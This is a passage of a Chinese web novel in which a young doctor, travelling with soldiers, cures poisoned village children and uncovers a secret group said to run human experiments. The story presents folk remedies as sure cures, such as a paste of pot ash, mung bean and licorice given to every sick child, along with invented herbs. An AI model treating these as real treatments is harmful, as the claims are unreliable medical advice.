“这位是刘梅,情报分析员,有过目不忘的本事。” 几个被点到名的军官,看向姜芷的眼神,没有半点因为她年轻而产生轻视,全是实打实的敬佩。 开玩笑,能把猛虎团十七个快死的兵从鬼门关拉回来,还能在京城把一众顶级专家治得服服帖帖。 这种神人,跟年龄长相有半毛钱关系? “姜顾问。” 情报分析员刘梅递上一份更详尽的档案。 “秦司令已经把您之前的分析转告我们了。我们顺着您的思路查下去,发现了很多以前忽略的细节。但线索依然很乱。” “这是我们目前掌握的所有线索。十年来,类似的‘神医’骗局,有记录的就高达四十七起。他们行事非常谨慎,从不闹出人命,骗的钱也不多,打一枪换一个地方,线索到他们消失就全部中断了。” “我们查了十年,连对方到底是个人,还是组织,都无法确定。” 刘梅说得很无奈。 整个指挥部里,所有人的目光都聚焦在姜芷身上,等着她开口。 姜芷起身,走到墙边,手指在巨大的地图上缓缓划过,最后,落在了那个熟悉的地方——红星大队。 “突破口,就在这儿,黄半仙。” 黄半仙? 众人面面相觑,这个名字对他们来说很陌生。 姜芷没有理会他们的疑惑,自顾自地解释: “大概一个月前,我们村来了一个招摇撞骗的神棍,最后被我揭穿,罚去掏大粪了。” “我推测,他和以往那些骗子,可能都来自同一个组织。但他跟那些人不一样,他太急了,也太蠢了。” “之前的骗子,都是润物细无声地建立信任,而他,一上来就用‘清水捉病’这种半吊子化学戏法,急于求成。” “这说明他背后的组织,可能有了新的计划,或者遇到了什么变故,需要尽快筛选出一个合适的‘试验场’。” “而他,搞砸了。” 侦察营长张冲是个急性子,立刻开口:“我马上派人去红星大队,把他秘密逮捕,带回来审讯!” “不行。” 姜芷和陆向东,异口同声地拒绝。 两人对视一眼,陆向东笑了下,默默闭上嘴,把主场让给姜芷。 姜芷继续说:“如果我的猜测成立,现在抓他,就是打草惊蛇。” “黄半仙一旦失联,他背后的组织会立刻切断所有线索,我们就再也找不到他们了。” “那……那怎么办?”张冲急了,“总不能就让他天天在村里掏大粪吧?” “为什么不呢?”姜芷一个反问,整个指挥部瞬间安静下来。 “一个失败的棋子,被罚劳改,这是最合理的结局,不会引起任何人的怀疑。” “所以,我们什么都不用做,只需要盯着他,看他会不会自己露出马脚。。” 张冲立刻领会,拍着胸脯保证:“我马上派侦察营的兵过去,二十四小时秘密监视!” “不行。” 姜芷直接摇头,否决得干脆利落。 “那个黄半仙,现在是惊弓之鸟。” “你们的人往那一站,就算什么都不干,那股子军人的煞气,都能把他吓得魂飞魄散。” “到时候他背后的人一察觉,线索照样全断。” 她手指再次轻点在“红星大队”的位置上。 “只有我回去,才是最正常的。” “况且,从西南,到京城,再回来,快一个月了。” “我也该回家看看我娘了。” 这话,让在场所有人心头一软。 是啊,这丫头再神,也还是个二十岁的姑娘家,担心家里老娘,是人之常情。 至于盯梢,他们这些五大三粗的军人,往村里一站,那气场和陌生的面孔,就足够让人怀疑。 只有姜芷回去,才能起到暗中观察的效果。 就在众人以为这事就这么定了的时候,一个冷硬的声音插了进来。 “我不同意。” 众人循声望去,说话的正是陆向东。 他目光扫过在场的所有人,最后落在秦振国脸上。 “我不同意姜芷同志一个人回去。” “黄半仙本人是个废物,但他背后的人不是。” “我们无法判断对方是会灭口,还是会派人接应。姜芷同志是我们专案组的灵魂,她的安全,必须是第一位的。” 陆向东往前站了一步,整个人的气场都变了。 “我申请,作为她的贴身警卫,陪同她一起返回红星大队!” 他顿了顿,抛出了一个让所有人瞬间了然的重磅理由。 “我和姜芷同志有婚约在身,即便被村民看到,也合情合理。” 这话一出,指挥部里那股严肃的空气,瞬间变得微妙起来。 几个上了年纪的干部交换着眼神,满脸笑意。 好家伙! 猛虎团的陆团长,为了追媳妇,这理由找得可真是惊天地泣鬼神! 秦振国是个人精,他没急着拍板,反而笑呵呵地看向姜芷。 “姜顾问,你看呢?陆团长这个提议,你觉得怎么样?” 一时间,所有人的目光,都聚焦在了姜芷身上。 第63章 寡妇村的愚民 姜芷抬头,迎上陆向东倔强的眼神。 她脑子里飞快盘算起来。 这家伙…… 能打,能扛,野外生存能力顶级。 危急时刻,能当肉垫,能暖身子……呸! 还能面不改色捏爆臭大姐,徒手抓鱼。 好像……的确是挺好使唤的。 这一路也需要一个保镖。 想到这,姜芷点了下头,语气淡然,随口应着。 “也行。” “多个人拎包,省点力气。” 听到这话,陆向东绷紧的心弦,放松下来。 只要能把她放在自己眼皮子底下,别说拎包,拎猪食都行。 秦振国看着这两人你来我往的样子,心里跟明镜似的,哈哈一笑,重重拍板。 “好!那就这么定了!陆向东同志,保护好姜顾问,就是你接下来最重要的任务!” “不过……”姜芷又开口了,“这次回去,我不坐飞机。” “啊?”秦振国一愣,“不坐飞机?那怎么回去?” “开车。”姜芷指了指墙上的地图,“从这里回我们大队,沿途要翻好几座山。我坐车回去,可以随时停下,采集一些药材。” 她话说得理所当然。 案子是重要,但采药也不能耽误。 这案子拖了十年,不差这一时半会儿。 张冲和刘梅对视一眼,则有些疑惑。 这位姜神医的脑回路,果然跟正常人不一样。 都什么时候了,还惦记着那些花花草草。 秦振国听完,反倒是抚掌大笑起来。 “好!好一个医者本色!” “既然要走山路,那安全必须是重中之重!张冲!从你侦察营里,挑两个身手最好、脑子最活的兵!跟陆向东一起,组成四人护卫小组!” 他语气严肃。 “记住!你们的任务只有一个!保证姜顾问一根头发丝都不能少!” “是!”张冲响亮地应道。 于是,一个由西南军区兵王带队,两名精英警卫员护航,目标是护送国宝级神医回村探亲兼采药的四人小队,就这么草率又隆重地成立了。 …… 第二天一早。 一辆刷着军绿色油漆的吉普,停在了指挥部门口。 轮胎锃亮,一看就是刚做过全面保养。 被选中的警卫员李铁和王柱,正笔直地站在车旁,满脸激动和荣幸。 能给姜神医当警卫,这说出去,祖坟上都冒青烟! 姜芷还是那身朴素的打扮,背着帆布包,提着药箱。 陆向东则拎着两个大包,一个是他自己的,另一个鼓鼓囊囊,一看就是给姜芷准备的。 “姜顾问,陆团长,都准备好了!”李铁拉开车门,一脸兴奋。 姜芷点点头,正要上车,身后传来了秦振国的声音。 “等等!” 秦司令大步走来,手里拿着一个厚实的牛皮纸袋。 “这个,拿着。”他把纸袋塞到姜芷手里,“这里面,是沿途所有县志里,关于奇闻异事、草药传说的记载。我让刘梅连夜整理出来的。” 他看着姜芷,眼里满是郑重和期许。 “丫头,我知道你志不在此。但这个国家,需要你。我们这些人,也需要你。” “去吧,早去早回。你娘那边,我已经让县里多关照了,吃的喝的,一样都不会缺。” 姜芷捏着纸袋,心里像是被什么东西轻轻触动了一下。 她抬起头,迎上秦振国真诚的目光,认真点了点头。 “我知道了,谢谢秦司令。” 说完,她转身,利落地上了车。 陆向东紧随其后,坐在了她身边。 吉普车发出一声低吼,缓缓驶离。 军区大院的白杨树越来越远。 车厢里,气氛有些安静。 开车的李铁和副驾的王柱,腰杆挺得笔直,大气都不敢喘。 后座这两位,可都是神仙级别的人物,压力山大。 “咳。” 还是姜芷先打破了沉默。 她打开手里的牛皮纸袋,一边翻看,一边随口问。 “陆团长,你那个大包里,装的都是什么?” 陆向东的身体瞬间僵了一下。 他清了清嗓子,极不自然。 “一些……路上用的东西。” “哦?” 姜芷挑了挑眉,从文件里抬起头,似笑非笑地看着他。 “比如呢?” 陆向东被她看得心虚,视线不由自主地飘向了窗外,声音更低了。 “棉被,水壶……” 他停顿了一下,像是有些难以启齿。 “……大白兔奶糖,还有,麦乳精。” “路上辛苦,补充体力的。”陆向东硬邦邦地解释。 “哦……”姜芷拖长了尾音,眼波流转,落在他那张一本正经的脸上。 “我瞧着,是给你补充脸皮变厚的体力吧?” “噗——” 前排,负责开车的警卫员王柱没忍住,笑出了声。 下一秒,后视镜里一道冰冷的视线射来,王柱脖子一缩,瞬间坐得笔直,目不斜视,恨不得把方向盘盯出个洞来。 吉普车在山路上颠簸了大半天。 天色渐晚,前不着村,后不着店。 警卫员李铁看了看地图,有些发愁。 “团长,姜顾问,前面地图上标着有个叫‘寡妇村’的地方,咱们今晚……要去那儿歇脚吗?” 寡妇村? 这名字透着一股怪异。 姜芷放下手里的资料,也觉得在车上过夜不是个事儿。 “去看看。” 车子又拐了几个弯,山坳里终于露出一片稀稀拉拉的屋顶。 可当吉普车缓缓驶入村口,车上四人同时察觉到了不对劲。 太安静了。 整个村子,没有鸡鸣狗叫,没有孩童嬉闹,只有几缕炊烟飘着。 家家户户门窗紧闭,偶尔有张蜡黄的脸从门缝里探出来。 一看到他们这身军装和铁皮车,又猛地缩了回去。 “情况不对。” 陆向东眼神一沉,手已经下意识按在了腰间。 就在这时,一间土坯房的门“吱呀”一声开了。 一个头发花白、满脸愁苦的老汉,拄着拐杖走了出来,拦在车前。 他身上穿着村干部才有的蓝色卡其布上衣,显然是村长。 “解放军同志?你们...你们怎么到我们这鬼地方来了?” “老乡,我们路过,想借宿一晚。”陆向东跳下车,沉声问,“村里是出什么事了吗?” 村长重重叹了口气。 “唉!别提了!我们村……遭了山神的报应了!” “村里好多人,特别是娃儿们,都病倒了!一个个发低烧,身上起红点点,浑身没劲儿!隔壁村的赤脚大夫正在看病,说是中了邪,要驱邪呢!” “看病?驱邪?” 姜芷眉心一蹙,不等另外两人反应,直接推开车门站了出来。 “带我去看看,我也是医生。” 村长愣住,看着这个比画里还好看的年轻姑娘,满眼不信。 但她身后跟着的三个军人,气势迫人,让他不敢多问,只能在前面带路。 村道是坑洼的泥路,两旁的黄泥墙斑驳脱落,露出里面的稻草。 整个村子都透着一股贫穷和压抑。 村长领着他们进了一间屋子。 屋里光线昏暗,一股草药、霉味和病人独有的酸腐气味混在一起,扑面而来。 土炕上,一个七八岁的男孩双眼紧闭,嘴唇干裂起皮,额头滚烫。 他身上布满了细密的红疹,呼吸微弱。 一个穿着对襟褂子的女人站在炕边,眼窝深陷,正六神无主地抹着眼泪。 一个山羊胡的老头,正拿着一束冒着呛人黑烟的艾草,在孩子身上来回熏着,嘴里念念有词。 “山神老爷息怒,小儿无知冒犯……” 这就是村长说的赤脚大夫。 他看到姜芷一行人进来,立刻警惕地站起来,满脸敌意。 “你们是干啥的?别耽误我给娃儿驱邪!” 姜芷径直走到炕边,冷声呵斥:“停下。” “什么?”山羊胡一愣。 “我说停下!” “屋里本就气闷,你用劣质艾草熏烟,是想让他喘不上气,死得更快吗?” “你!”山羊胡老头气得胡子直抖。 陆向东一个冰冷的眼神扫过去,山羊胡后面的话全都噎了回去,只能悻悻地把艾草扔在地上。 姜芷已经懒得理他,三根手指轻轻搭上了男孩的手腕。 她仔细诊了脉,又翻开孩子的眼皮看了看,最后问那焦急的母亲。 “他发病前,吃过什么,喝过什么?” 女人被这阵仗吓到了,村长在一旁解释了几句,她才哽咽着说。 “就……就跟平常一样,吃的都是家里的粗粮饼子,喝的……喝的是村后头那口老井里的水。” “把你们家喝的水,给我端一碗来。”姜芷说。 女人连忙从水缸里舀了一碗水递过来。 姜芷接过,只看了一眼,又凑到鼻尖闻了闻。 水色微浑,带着一丝若有若无的腥甜气。 她放下碗,站起身:“带我去看那口井。” 一行人,连同被陆向东眼神“请”着一起的山羊胡,浩浩荡荡地走向村后。 第64章 一碗锅灰,集体下跪 “怎么?想造反?” 陆向东眼神冰冷,那股杀气,让众人都喘不过气来。 黑洞洞的枪口,对着最前面举钉耙的女人。 女人的脸色一就下白了,手一软,钉耙“哐当”砸在脚边,差点没瘫下去。 枪杆子里出政权,这道理,他们不懂。 但枪杆子能要人命,再清楚不过。 刚才还叫嚣着要烧死妖女的村民们,一个个愣在原地。 “军人同志……有话好好说……别动家伙……” 村长一张脸比哭还难看,结结巴巴地求情。 就在这时,姜芷从陆向东身后走了出来。 “把枪收起来。” 她对李铁和王柱说。 两人一怔,下意识看向陆向东。 陆向东眉头紧锁,但还是点了下头。 李铁和王柱这才收了枪。 紧绷的气氛稍稍缓和。 “妖……妖女!你看,她就是心虚了!她……” 山羊胡老头看枪收了,胆子又肥了一点,还想煽动。 姜芷根本不理他,径直走到那口井边,指着井壁上暗红色的苔藓。 “你们祖祖辈辈喝这口井的水,没错。” “但你们见过这井壁上长这种血丝一样的东西吗?” 村民们面面相觑,伸长了脖子去看。 还真是! 绿色的青苔里,夹杂着一缕缕暗红色的东西,像是血丝,看着就邪门。 “这……这是山神爷发怒了……” 一个老太太哆哆嗦嗦地说。 “发怒?”姜芷冷笑。 “你们上山采蘑菇,知道有的能吃,有的吃了会躺板板。这东西,就跟那毒蘑菇是一个道理。” “它长出来了,就说明这水,已经坏了,喝了要人命!” 这个比喻,简单粗暴,村民们一下子就听懂了,脸上的恐惧更深。 “那……那为啥就娃儿们病了?我们大人都没事?” 一个汉子壮着胆子问。 “问得好。”姜芷赞许地看了他一眼。 “一碗毒药,给一个三岁娃娃喝,再给你这么个壮汉喝,谁先倒下?” “那肯定是娃儿啊!”汉子不假思索地回答。 “这不就结了?”姜芷摊了摊手,“不是你们没事,是你们皮糙肉厚,暂时扛得住。再喝下去,你们的下场,就跟刚才那只鸡一样。” 一番话说得众人冷汗直流。 山羊胡老头脸色惨白,他知道,大势已去了。 这个黄毛丫头三言两语,就把他辛辛苦苦煽动起来的民心给瓦解了。 他眼珠子一转,就想往人群后面缩。 “站住。” 姜芷的声音幽幽传来。 山羊胡身子一僵,不敢动了。 姜芷慢悠悠地走到他面前,上下打量了他几眼。 “我瞧你,印堂发黑,面色萎黄,中气不足,夜里咳嗽的时候,是不是胸口又闷又痛,总感觉有口痰堵着,咳不出来也咽不下去?” 山羊胡的瞳孔猛地一缩! 这……这婆娘怎么知道的?! 他这老毛病,跟了好多年了,自己偷偷吃了不少草药,屁用没有! “你……你胡说八道!”他极力否认。 “胡说?”姜芷挑眉,“那你敢不敢让大家伙看看你脖子后面,是不是长了一片红疹子,一到晚上就痒得钻心,挠得血肉模糊?” 这话一出,山羊胡猛地捂住自己的后脖领。 “你……你是妖怪?!” 村民们也不是傻子,看到他这个反应,哪还有不明白的。 “嚯!原来是真的啊!” “自己一身的病都治不好,还敢出来给人看病?” “还驱邪?我看他自己就中了邪!” “骗子!差点被他害死!” 村民们的风向,瞬间一百八十度大转弯。 刚才还对着姜芷喊打喊杀,现在全都怒视着山羊胡。 山羊胡彻底慌了,指着姜芷,语无伦次:“是她!是她给我下的咒!就是她!” “行了。”姜芷不耐烦地打断他,“给你下咒,我都嫌浪费口水。” 她转向那个抱着孩子的女人。 “想让你儿子活命吗?” “想!想!军人同志,求求你,救救我的娃儿!”女人“噗通”一声跪了下来,拼命磕头。 “起来。”姜芷淡淡道,“我是医生,救人是本分。但我不救跪着的人。” 女人闻言一愣,哽咽着起身。 姜芷又看向村长:“村长,麻烦你叫人找个锅,把锅底的黑灰刮下来,越多越好。再找些甘草,还有绿豆,一起拿来。” “哎!哎!我这就去!”村长立即吩咐了一个汉子照办。 陆向东看着这一幕,眼神柔和不少。 这就是她。 无论面对多大的危机,总能用自己的方式,四两拨千斤,将一切掌控在手中。 很快,那个汉子就带着东西回来了。 姜芷当着所有人的面,将锅底灰和碾碎的绿豆粉混在一起,又加了甘草水,调成一碗黑乎乎的糊状物。 “这……这能吃吗?” 孩子的娘看着那碗黑糊糊,有些犹豫。 “锅底灰,中医叫百草霜,能解毒止血。绿豆清热,甘草调和百药。这水里的毒,要先用它把毒性吸出来,再排出去。”姜芷简单解释了一句。 她端着碗,走到孩子身边,捏开男孩的嘴,让陆向东帮忙,将那碗黑糊糊灌了下去。 所有人都屏住了呼吸,死死盯着女人怀里的孩子。 山羊胡在一旁冷笑,小声嘀咕:“吃锅灰……疯了,都疯了……” 大概过了十分钟,男孩忽然剧烈咳嗽起来。 紧接着,“哇”的一声,吐出一大口黑色的污水,腥臭无比,还夹杂着一些没消化的食物残渣。 “啊!吐了吐了!” 孩子的娘惊叫起来。 “别怕,是好事。”姜芷安抚,“毒,正在往外排。” 吐完后,男孩的呼吸明显顺畅许多。 又过了一会儿,他眉头渐渐舒展开,滚烫的额头,也降下了一点温度。 “烧……烧退了点!” 孩子的娘摸了摸儿子的额头,喜极而泣。 “娘………” 男孩虚弱地睁开睛,轻声喊了句。 “哎!狗蛋!你终于醒了!可把娘给吓死了。” 女人抱着儿子,哭得泣不成声。 在场所有村民,亲眼见证起死回生的一幕,全都惊呆了。 下一秒,不知道是谁带的头,“噗通”一声跪了下来。 “神医啊!真是活神仙啊!” “神医,求求你,也救救我家的娃吧!” “神医,我们错了!我们有眼不识泰山!” “哗啦啦”一下,路上跪倒了一大片人,全都对着姜芷拼命磕头。 这场面,比拜祖宗还虔诚。 一旁的山羊胡,早就吓得面无人色。 他看着被众人奉若神明的姜芷,再看看自己,一个彻头彻尾的骗子。 完了。 这次彻底完了。 他趁着众人不注意,猫着腰,一步步往后挪,就想溜之大吉。 刚挪到墙角,陆向东猛地抓住了他的后衣领,将他像拎小鸡一样拎了起来。 “想去哪儿啊,老先生?” “我……我内急,去……去上个茅房……” 山羊胡哆哆嗦嗦地狡辩。 姜芷踱步过来,看着他。 “别急着走。” “差点害死全村老小,又煽动村民围攻军人,这笔账,得算。” 她微微俯身,凑到山羊胡耳边。 “我很好奇,像你这种只会用艾草熏人的半吊子,是怎么有胆子在村里行骗的?” “还是说……你背后,有人教你这么干?” 第65章 寡妇村的由来 山羊胡的眼珠子滴溜溜转动,双脚在空中乱蹬,后颈那只手传来的力道让他感觉骨头都在作响。 “我……我不知道你在说什么……” 他还在嘴硬。 “我就是个走村串户的赤脚大夫,混口饭吃,我能知道什么……” 姜芷抱着手臂,目不转睛盯着他。 “是吗?” “那你这咳嗽的毛病,少说也有两三年了吧?夜里子时准时发作,咳起来五脏六腑都要咳出来。” “白天胸闷气短,走两步就喘。川贝、枇杷叶、甘草……你偷偷试过不少方子,都没用,对不对?” 山羊胡的瞳孔骤然收缩。 这婆娘是妖怪吗! 她怎么知道得一清二楚。 连他吃过什么药都知道! 姜芷没理会他的惊骇,继续说。 “还有你后脖颈那片疹子,看着是癣,其实是湿毒入了骨血,郁结在内。” “你越是用那些燥热的药膏去涂,它就越是往里钻。再拖个一年半载,毒气攻心,大罗神仙也难救。”她微微倾身,语气淡漠。 “我说的,对,还是不对?” 山羊胡彻底崩溃了! 他感觉自己在这姑娘面前,被扒得一丝不挂,从里到外,所有的病痛和秘密都被看得通通透透。 这种恐惧,远比陆向东那能杀人的眼神更让人绝望! “我说!我说!神医!我全都说!” 他两条腿在空中胡乱蹬着,鼻涕眼泪一起流了下来。 “求求你,救救我!我不想死啊!” 陆向东手一松,山羊胡“噗通”一声摔在地上。 周围的村民们看得目瞪口呆。 刚才还以为是神仙斗法,现在才看明白,这哪是斗法,这是神医在给他“算命”! 而且,算得一字不差! “说吧。” 姜芷居高临下地看着他。 “是谁,教你在井水里有红苔的时候,出来装神弄鬼?” “是……是一个过路的男人!” 山行胡再不敢有丝毫隐瞒,竹筒倒豆子一般全招了。 “大概三年前,有个穿得干干净净的男人路过我们镇子,见我摆摊给人看病,就上来搭话。他说我那点三脚猫的功夫只能糊弄老实人,想不想学点真本事?” “他教我用艾草熏烟驱邪,还教我怎么看人脸色,说些模棱两可的话,七分靠演,三分靠吓唬。” “最重要的是,”山羊胡咽了口唾沫,声音放低,“他给了我一张图,画的就是这种红色的苔藓。” “他告诉我,这叫‘龙血苔’,是山神显灵的征兆。只要看到哪口井里长了这个,就进去宣扬山神发怒,用艾草驱邪,保管能赚大钱!” 姜芷和陆向东对视一眼,全都是眉目凝重。 果然! 这一切都不是巧合! 这是一个有预谋、有组织的计划! 他们利用这种天然毒源,筛选最容易控制的村庄。 “那个人长什么样?叫什么?”陆向东寒声追问。 “他……他长得很普通,扔人堆里找不着。名字没说。” 山羊胡努力回忆着,“哦,对了!他走的时候,给了我一个药方,说是我这咳嗽病,按方子抓药就能好。他还说,这方子是他师门传下来的,叫什么……‘青囊阁’。” 青囊阁? 姜芷眉头微蹙,这个名字,即便是在她前世的记忆里,也从未听闻。 “药方呢?” “在我……在我家里……” “李铁,王柱!”陆向东立刻下令,“你们两个,带他回家,把药方拿回来!” “是!” 两个警卫员立刻押着山羊胡走了。 现场只剩下姜芷、陆向东和一群彻底傻眼的村民。 “神医啊……” 村长哆哆嗦嗦地凑上来,一张老脸皱成了苦瓜。 “这……这可怎么办啊!井水有毒,我们……我们以后喝什么啊?” “是啊神医,求你给指条活路吧!” “我们给你磕头了!” 说着,院子里又“哗啦啦”跪倒了一片。 “都起来!”姜芷揉了揉眉心,“再跪,我扭头就走。” 这话比什么都管用,村民们立刻手忙脚乱地爬了起来,站得笔直。 “这井,暂时不能喝了。” 姜芷指着不远处的一座山头。 “那座山,阳面山坡,去找长着一丛丛野薄荷的地方。在薄荷地往下挖,大概七八尺深,就能挖到干净的水源。” “这几天,要是渴得厉害,就用河里的水,记住,一定要烧开,然后扔几片车前草叶子进去,再煮上十几分钟才能喝。” 村民们听得一愣一愣的,虽然不明白为什么长薄荷的地方就有水,但他们不敢质疑,一个个把姜芷的话当成圣旨,拼命往脑子里记。 “谢谢神医!谢谢神医!” 村长激动得老泪纵横。 姜芷又转向众人。 “你们谁家孩子跟他一样的病,都按刚才的方法治,一碗锅灰水灌下去,吐出来就好了。” 安排好这一切,天已经彻底黑了。 村长和几个村民非要请他们去家里吃饭,被姜芷婉拒了。 她只想清静一会儿。 最后,村长把村里唯一一间还算干净的空屋子收拾了出来,给他们四人落脚。 李铁和王柱很快回来了,手里拿着一张泛黄的药方,还把吓破胆的山羊胡也带了回来。 这骗子名声已经彻底臭了,以后也别想再出来行骗。 姜芷瞥了他一眼,随口说了个简单的方子。 “回去用桑白皮、地骨皮、生姜皮三味药熬水喝,能缓解你那要命的咳嗽。” 山羊胡闻言,眼神瞬间亮了。 她真的肯救我! 他拼命磕头:“谢谢神医!谢谢神医!您的大恩大德,我下辈子做牛做马……” “至于根治,”她打断了他,眼神淡漠,“需要针灸配合汤药,耗时费力,我没那个功夫。你好自为之吧。” 山羊胡的磕头动作猛地僵住。 他慢慢抬起头,嘴唇哆嗦着,一个字也说不出来。 缓解……不是根治? 她……她这是要让他吊着一口气,不好不坏,永远在病痛中为自己的所作所为忏悔! 这比一刀杀了他还狠! 打发走失魂落魄的山羊胡,屋里,一盏昏黄的煤油灯跳动着。 姜芷坐在桌边,就着灯光,审视着那张药方。 药方上的字迹很普通,但用药十分刁钻。 看似治咳嗽,实则几味药材的配伍,暗藏慢性毒性。 长期服用,会损伤神智,让人更容易产生幻觉。 好一个歹毒的“青囊阁”! 这绝不是什么普通的江湖骗子组织,他们行事缜密,目标明确,更像是一个研究邪门歪道的隐秘团体。 清水河村的案子,恐怕和他们脱不了干系。 陆向东端着一碗热水走进来,放到她手边。 “先喝点水,润润嗓子。” 他看着灯光下她专注的侧脸,眼神不自觉放柔。 “今天,多亏了你。” 要不是她,今天这事,恐怕就要以流血收场了。 姜芷接过水碗,热气氤氲,冲淡了几分她眉宇间的清冷。 “是你的人,太好用了。” 她瞥了眼门口站岗的李铁和王柱,由衷地夸了一句。 那两把枪一亮出来,比她说一百句道理都管用。 陆向东的嘴角忍不住微微上扬。 她这是在夸他呢。 “对了,”姜芷忽然想起什么,抬头问,“这村子,为什么叫‘寡妇村’?” 陆向东脸上的笑意僵住。 “村长说的。大概二十年前,村里发生过一次瘟疫,青壮年男人死了一大半,只剩下些女人和孩子,所以就叫这个名字了。” “瘟疫?”姜芷的食指在桌上轻轻敲击着,“什么样的瘟疫?” “不清楚,村长也说不明白,只说是上吐下泻,发高烧,几天人就没了。当时也来了大夫,没用。” 姜芷来了兴致,让陆向东带她再次找到村长。 “那场瘟疫,死的都是男人?” 村长一听,浑浊的眼睛里满是恐惧,声音都在发颤:“是啊,神医!邪门得很!就跟长了眼睛一样,专挑家里的顶梁柱下手!” “病来得又快又猛,今天还好好的,明天就上吐下泻,烧得胡话,不出三天,人就没了!” “女人和孩子呢?”姜芷追问。 “女人家也有病的,但都扛过来了。娃儿们……倒是不怎么生病。” 村长努力回忆着,脸上满是后怕。 姜芷的眉头拧了起来。 这不对劲。 非常不对劲。 任何一场瘟疫,无论是霍乱还是伤寒,最先倒下的,永远是抵抗力最弱的老弱妇孺。 可这里的“瘟疫”,却反着来,专挑身强力壮的男性下手。 这哪里是瘟疫? 这分明是筛选! 是屠杀! 她想起了现代医学史上那些最黑暗的篇章,那些以活人为材料的禁忌实验。 井里的红苔……神秘的“青囊阁”……二十年前那场只杀男人的“瘟疫”…… 这里,很可能就是“青囊阁”的一个大型试验场! 他们用全村的男人,试验了一种只针对特定人群的毒! 姜芷的脸色瞬间就变了。 “神医,您……您是不是看出了什么?” 村长看她脸色不对,小心翼翼地问。 “没什么。”姜芷收敛了神色,“只是觉得有些奇怪。今晚先休息吧,明天我准备在你们这儿进山采些药。” “哎!好!好!”村长如蒙大赦,连连点头,“我这就去给您安排人!” …… 夜深了。 第66章 陆团长,你这借口多少有点草率了 “我说能去,就能去。”姜芷坚持。 陈大升还想再劝,嘴巴张了张,一个字都说不出来。 他只能苦着一张脸,在前面带路。 越往山坳里走,光线越是昏暗。 这里的植物,果然长得跟外面不一样。 一些藤蔓上,竟然长着血红色斑点。 地上的苔藓,也泛着诡异的幽蓝色。 “团长,这地方……瘆得慌。” 王柱小声嘀咕,手已经摸向了腰间的枪。 陆向东没说话,只是更加警惕地护在姜芷身边。 “停。” 姜芷忽然站住脚,目光锁定在前方一处石壁缝隙里。 那里,长着一株半尺来高的小草。 草叶是正常的翠绿,可叶脉,却是妖异的暗红色,像是活物的血管。 “神……神医!这就是‘断肠草’啊!” 陈大升吓得后退好几步。 “碰一下,肠子都要烂光的!” “胡说。”姜芷瞥了他一眼,“这叫‘血见愁’。” 她从药箱里拿出手套和一把小巧铲子,径直走了过去。 “这东西,确实有剧毒。”她一边小心挖掘,一边解释。 “它的根茎里,含有和井水毒素同源的成分,但经过植物自身的转化,毒性要猛烈百倍。” “寻常人误食,一个小时内,就会七窍流血。” 李铁和王柱听得头皮发麻,下意识离那株草远了点。 “但是,”姜芷话锋一转,“以毒攻毒,用对了地方,它就是起死回生的圣药。特别是对一些沉年旧疴,有奇效。” 她将那株“血见愁”连根带土地完整地挖了出来,小心地放进一个特制的乌木盒里。 “这……这毒草还能救人?” 陈大升难以置信。 “大千世界,万物相生相克。” 姜芷站起身,拍了拍手套上的泥土。 “毒与药,从来都只是一线之隔。” 接下来的两个小时,对陈大升而言,是彻底的颠覆。 他看着姜芷像是进了自家的后花园。 “那个,‘鬼笔’,能治顽固性皮癣。” “还有那片蓝汪汪的,叫‘蛇倒退’,蛇见了它都得绕道走,是顶级的蛇药。” “看到那棵树上的疙瘩没?叫‘猴儿结’,磨成粉,专治小儿惊风。” 陈大升从最开始的惊恐,到麻木,再到最后的五体投地。 姜芷把那些在村民口中能要人命的“妖草”、“鬼物”,一个个收进药箱,嘴里还念叨着它们能治什么病。 到最后,陈大升看这片“鬼门关”已经恍惚了。 这哪里还是鬼门关? 分明是神医的药材库! 采完药,一行人满载而归。 当他们走出山坳,重新沐浴在阳光下时,陈大升激动得差点哭出来。 寡妇村的村民们对姜芷,感激涕零,恭送四人上了吉普。 村民们提着鸡蛋、揣着窝窝头,拼了命地往车里塞。 姜芷推辞不过,象征性地收了两个鸡蛋。 吉普车缓缓开动,逐渐远离了村子。 车厢里,气氛重新变得严肃。 这次寡妇村之行,虽然只是路过,却意外得知“青囊阁”这个神秘组织的一角。 山羊胡交代的‘青囊阁’,和他手里的慢性毒药方,都说明这个组织内部,有真正精通药理和毒理的高手。 想到这里,姜芷的眼神愈发冷冽。 医者,本该救死扶伤。 可这群人,却把医术用在了最邪恶的勾当上。 这是对她所传承的道的亵渎,绝对无法容忍的。 “那个所谓的‘青囊阁’,他们筛选村庄,制造恐慌,散播谣言,到底想干什么?”王柱忍不住问。 “或许,是为了寻找更完美的试验场。又或许……”姜芷顿了顿,说出一个更可怕的猜测。 “他们是在炼制某种东西,需要用到特定人群作为‘药引’的东西?” 车里气氛更沉重了。 “李铁。”陆向东突然开口。 “到!” “用随身电台,接通军区指挥部,秦司令专线。” “是!” 李铁立刻熟练地打开了座位下的军用电台,戴上耳机。 滋滋的电流声响起。 陆向东接过话筒。 “利剑呼叫鹰巢,利剑呼叫鹰巢。” 很快,耳机里传来秦振国威严的声音:“鹰巢收到,讲。” “报告首长。利剑小组在G3路段‘寡妇村’,发现‘清水河案’相关重要线索。初步确认,存在一个名为‘青囊阁’的秘密组织。” “该组织擅长利用天然毒物,结合民间迷信,进行长期潜伏,疑似从事大规模、有组织、非法人体试验。请求总部立刻对‘青囊阁’启动最高级别秘密协查。完毕。” 电台那头沉默了片刻,显然这个消息的冲击力巨大。 几秒后,秦振国斩钉截铁的声音传来。 “请求收到。总部将立刻启动A级响应。利剑小组,继续执行原定计划,确保核心人员安全。随时保持联系。完毕。” “利剑收到,完毕。” 通讯切断,李铁收起了电台。 车厢里再次恢复安静,但所有人都清楚,一场看不见的风暴,已经因为他们这次偶然的路过,被提前掀起了。 “青囊阁……” 姜芷低声念着这个名字,眼中闪过一丝寒意。 不管你们是谁,藏在哪里。 既然让我撞上了,就别想再安生。 陆向东看着她眼中的冷光,没来由地,从自己背包里,摸出一颗大白兔奶糖,剥开糖纸,默默递到她嘴边。 姜芷一愣,侧头看他。 “干嘛?” “补充糖分。” 陆向东面不改色,一本正经地胡说八道,“你今天动脑太多,耗费能量。” 前面开车的王柱差点没憋住笑,方向盘都抖了一下。 团长,您这借口,能不能稍微走点心? 姜芷看着眼前这个男人。 明明长着一张能止小儿夜啼的冷脸,却偏偏做出这种幼稚又笨拙的举动。 她张开嘴,含住了那颗糖。 浓郁的奶香瞬间在口腔里化开,甜丝丝的。 “嗯。”她含糊不清地应了一声,“这个能量,补充得还行。” 第67章 神医动动手指,白面猪肉管够 吉普车在土路上颠簸前行。 车厢里的空气有些微妙。 